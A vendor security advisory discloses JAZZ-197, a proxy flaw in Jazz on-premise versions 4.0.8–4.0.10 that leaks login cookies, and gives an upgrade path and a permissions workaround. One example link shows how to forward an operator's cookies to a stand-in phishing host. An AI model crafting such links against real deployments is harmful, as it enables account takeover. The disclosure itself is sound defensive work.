FortiDLP is a cloud-native endpoint DLP and Insider Risk Solution which is aimed at monitoring and Preventing Data Theft on the endpoint, across Windows, macOS and Linux.
This article discusses JAZZ-197: Proxying HTTP requests.
Scope
FortiDLP.
Solution
Release Date:
28th May, 2019
Overview:
The Jazz API endpoint /api/v1/infrastructure/services/ proxies to any HTTP location specified in the URL, potentially leaking login cookies to the proxied site.
Affected Products:
Jazz on-premise installations since version 4.0.8 up to and including 4.0.10.
Unaffected Products:
Jazz Cloud and any Jazz on-premise before 4.0.8 and after 4.0.11.
Resolution:
This issue is now been fixed in Jazz Infrastructure version 4.0.11.
It is strongly recommended that all on-premise installations running an affected version upgrade to the latest release as soon as possible. Releases are available to download through the support portal. Jazz Cloud customers are unaffected.
If it is not possible to upgrade, disable the access to this API endpoint by creating a role using the Jazz API via api/v1/roles and removing the permissions CAN_RESTART_SERVICES assigning this role to all operators via the LDAP configuration interface or the internal operators API.
Vulnerability Information:
JAZZ-197 allows the Jazz API endpoint /api/v1/infrastructure/services/ to proxy to any URL specified. If an authorized and authenticated Jazz operator clicks on a link of the form https://www.example.com/api/v1/infrastructure/service/phish.example.com:80 this will forward login cookies (and other HTTP headers) to phish.example.com. This could be used from the browser to compromise the operator's account.
